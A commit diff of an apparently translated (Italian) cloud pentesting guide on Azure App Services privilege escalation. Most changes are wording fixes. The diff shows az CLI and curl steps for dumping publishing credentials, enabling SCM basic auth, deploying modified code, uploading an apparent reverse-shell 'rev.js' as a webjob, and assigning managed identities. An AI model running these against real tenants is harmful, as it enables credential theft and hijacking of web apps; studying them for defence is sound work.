Translated ['src/pentesting-cloud/azure-security/az-privilege-escalation

This commit is contained in:
Translator
2025-01-04 03:47:37 +00:00
parent d3fb60549e
commit 12feecb97f
2 changed files with 21 additions and 35 deletions

View File

@@ -23,7 +23,7 @@ az webapp ssh --name <name> --resource-group <res-group>
```bash
az webapp create-remote-connection --name <name> --resource-group <res-group>
## If successfull you will get a message such as:
## If successful you will get a message such as:
#Verifying if app is running....
#App is running. Trying to establish tunnel connection...
#Opening tunnel on port: 39895
@@ -94,7 +94,7 @@ az webapp deployment list-publishing-profiles --name <app-name> --resource-group
}
]
```
Nota come il **nome utente è sempre lo stesso** (tranne in FTP che aggiunge il nome dell'app all'inizio) ma la **password è la stessa** per tutti.
Nota come il **nome utente è sempre lo stesso** (eccetto in FTP che aggiunge il nome dell'app all'inizio) ma la **password è la stessa** per tutti.
Inoltre, l'**URL SCM è `<app-name>.scm.azurewebsites.net`**.
@@ -116,9 +116,9 @@ az webapp deployment list-publishing-credentials --name <app-name> --resource-gr
"type": "Microsoft.Web/sites/publishingcredentials"
}
```
Nota come le **credenziali siano le stesse** di quelle del comando precedente.
Nota come le **credenziali sono le stesse** di quelle del comando precedente.
- Un'altra opzione sarebbe **impostare le proprie credenziali** e usarle:
- Un'altra opzione sarebbe **impostare le tue credenziali** e usarle:
```bash
az webapp deployment user set \
--user-name hacktricks \
@@ -131,7 +131,7 @@ Ricorda che per accedere alla piattaforma SCM dal **web devi accedere a `<SCM-UR
> [!WARNING]
> Nota che ogni utente può configurare le proprie credenziali chiamando il comando precedente, ma se l'utente non ha abbastanza permessi per accedere a SCM o FTP, le credenziali non funzioneranno.
- Se vedi che queste credenziali sono **REDACTED**, è perché **devi abilitare l'opzione di autenticazione di base SCM** e per questo hai bisogno del secondo permesso (`Microsoft.Web/sites/basicPublishingCredentialsPolicies/write):`
- Se vedi che quelle credenziali sono **REDACTED**, è perché **devi abilitare l'opzione di autenticazione di base SCM** e per questo hai bisogno del secondo permesso (`Microsoft.Web/sites/basicPublishingCredentialsPolicies/write`):
```bash
# Enable basic authentication for SCM
az rest --method PUT \
@@ -149,7 +149,7 @@ az rest --method PUT \
"properties": {
"allow": true
}
}
}'
```
### Pubblica codice utilizzando le credenziali SCM
@@ -157,11 +157,11 @@ Avere semplicemente credenziali SCM valide consente di **pubblicare codice** nel
Per questo esempio in python, puoi scaricare il repo da https://github.com/Azure-Samples/msdocs-python-flask-webapp-quickstart, apportare le **modifiche** che desideri e poi **zipparlo eseguendo: `zip -r app.zip .`**.
Poi puoi **pubblicare il codice** con il seguente comando:
Poi puoi **pubblicare il codice** in un'app web con il seguente comando:
```bash
curl -X POST "<SMC-URL>/api/publish?type=zip" --data-binary "@./app.zip" -u '<username>:<password>' -H "Content-Type: application/octet-stream"
```
### Microsoft.Web/sites/publish/Action | Credenziali SCM
### Webjobs: Microsoft.Web/sites/publish/Action | Credenziali SCM
Il permesso Azure menzionato consente di eseguire diverse azioni interessanti che possono essere eseguite anche con le credenziali SCM:
@@ -173,7 +173,7 @@ az rest --method GET --url "https://lol-b5fyaeceh4e9dce0.scm.canadacentral-01.az
# Using SCM username and password:
curl "<SCM-URL>/vfs/data/jobs/continuous/job_name/job_log.txt" \
--user '<username>:<password>>' -v
--user '<username>:<password>' -v
```
- Leggi il codice sorgente di **Webjobs**:
```bash
@@ -203,6 +203,12 @@ curl -X PUT \
--data-binary "@/Users/carlospolop/Downloads/rev.js" \
--user '<username>:<password>'
```
### Microsoft.Web/sites/write, Microsoft.Web/sites/read, Microsoft.ManagedIdentity/userAssignedIdentities/assign/action
Queste autorizzazioni consentono di **assegnare un'identità gestita** al servizio App, quindi se un servizio App è stato precedentemente compromesso, questo consentirà all'attaccante di assegnare nuove identità gestite al servizio App e **escalare i privilegi** su di esse.
```bash
az webapp identity assign --name <app-name> --resource-group <res-group> --identities /subscriptions/<subcripttion-id>/resourceGroups/<res_group>/providers/Microsoft.ManagedIdentity/userAssignedIdentities/<managed-identity-name>
```
### Microsoft.Web/sites/config/list/action
Questo permesso consente di elencare le **connection strings** e le **appsettings** del servizio App che potrebbero contenere informazioni sensibili come le credenziali del database.
@@ -210,12 +216,6 @@ Questo permesso consente di elencare le **connection strings** e le **appsetting
az webapp config connection-string list --name <name> --resource-group <res-group>
az webapp config appsettings list --name <name> --resource-group <res-group>
```
### Microsoft.Web/sites/write, Microsoft.Web/sites/read, Microsoft.ManagedIdentity/userAssignedIdentities/assign/action
Queste autorizzazioni consentono di **assegnare un'identità gestita** al servizio App, quindi se un servizio App è stato precedentemente compromesso, questo consentirà all'attaccante di assegnare nuove identità gestite al servizio App e **escalare i privilegi** su di esse.
```bash
az webapp identity assign --name <app-name> --resource-group <res-group> --identities /subscriptions/<subcripttion-id>/resourceGroups/<res_group>/providers/Microsoft.ManagedIdentity/userAssignedIdentities/<managed-identity-name>
```
### Leggi le credenziali di terze parti configurate
Eseguendo il seguente comando è possibile **leggere le credenziali di terze parti** configurate nell'account attuale. Nota che, ad esempio, se alcune credenziali di Github sono configurate in un utente diverso, non sarai in grado di accedere al token da un altro.
@@ -250,7 +250,7 @@ https://graph.microsoft.com/v1.0/me/drive/root/children
```
### Aggiornare il codice dell'app dalla sorgente
- Se la sorgente configurata è un fornitore di terze parti come Github, BitBucket o un Repository Azure, puoi **aggiornare il codice** del servizio App compromettendo il codice sorgente nel repository.
- Se la sorgente configurata è un fornitore di terze parti come Github, BitBucket o un Azure Repository, puoi **aggiornare il codice** del servizio App compromettendo il codice sorgente nel repository.
- Se l'app è configurata utilizzando un **repository git remoto** (con nome utente e password), è possibile ottenere l'**URL e le credenziali di autenticazione di base** per clonare e inviare modifiche con:
- Utilizzando il permesso **`Microsoft.Web/sites/sourcecontrols/read`**: `az webapp deployment source show --name <app-name> --resource-group <res-group>`
- Utilizzando il permesso **`Microsoft.Web/sites/config/list/action`**:

View File

@@ -28,7 +28,7 @@ Le app hanno alcune configurazioni interessanti:
## Basic Authentication
Quando si crea un'app web (e una funzione Azure di solito) è possibile indicare se si desidera **abilitare l'autenticazione di base** (disabilitata per impostazione predefinita). Questo abilita fondamentalmente **SCM (Source Control Manager) e FTP (File Transfer Protocol)** per l'applicazione, quindi sarà possibile distribuire l'applicazione utilizzando queste tecnologie.
Quando si crea un'app web (e una funzione Azure di solito) è possibile indicare se si desidera **abilitare l'autenticazione di base** (disabilitata per impostazione predefinita). Questo abilita sostanzialmente **SCM (Source Control Manager) e FTP (File Transfer Protocol)** per l'applicazione, quindi sarà possibile distribuire l'applicazione utilizzando queste tecnologie.
Per accedere ai server SCM e FTP, è richiesta una **username e password**. Pertanto, Azure fornisce alcune **API per ottenere gli URL** per queste piattaforme e le credenziali.
@@ -156,6 +156,9 @@ az webapp config storage-account list --name <name> --resource-group <res-group>
# Get configured container (if any) in the webapp, it could contain credentials
az webapp config container show --name <name> --resource-group <res-group>
# Get git URL to access the code
az webapp deployment source config-local-git --resource-group <res-group> -n <name>
# Get Webjobs
az webapp webjob continuous list --resource-group <res-group> --name <app-name>
az webapp webjob triggered list --resource-group <res-group> --name <app-name>
@@ -217,24 +220,7 @@ done
{{#endtab }}
{{#endtabs }}
#### Ottenere credenziali e accedere al codice dell'app web
```bash
# Get connection strings that could contain credentials (with DBs for example)
az webapp config connection-string list --name <name> --resource-group <res-group>
## Check how to use the DBs connection strings in the SQL page
# Get credentials to access the code and DB credentials if configured.
az webapp deployment list-publishing-profiles --resource-group <res-group> -n <name>
# Get git URL to access the code
az webapp deployment source config-local-git --resource-group <res-group> -n <name>
# Access/Modify the code via git
git clone 'https://<username>:<password>@name.scm.azurewebsites.net/repo-name.git'
## In my case the username was: $nameofthewebapp and the password some random chars
## If you change the code and do a push, the app is automatically redeployed
```
{{#ref}}
../az-privilege-escalation/az-app-services-privesc.md
{{#endref}}
@@ -265,7 +251,7 @@ Questo tutorial si basa sul precedente ma utilizza un repository Github.
1. Forka il repo msdocs-python-flask-webapp-quickstart nel tuo account Github.
2. Crea una nuova Web App Python in Azure.
3. Nel `Deployment Center` cambia la sorgente, accedi con Github, seleziona il repo forkato e clicca su `Salva`.
3. In `Deployment Center` cambia la sorgente, accedi con Github, seleziona il repo forkato e clicca su `Salva`.
Come nel caso precedente, accedendo al portale SCM o accedendo tramite FTP è possibile vedere in `/wwwroot` il file compresso `output.tar.gz` che contiene il codice dell'app web.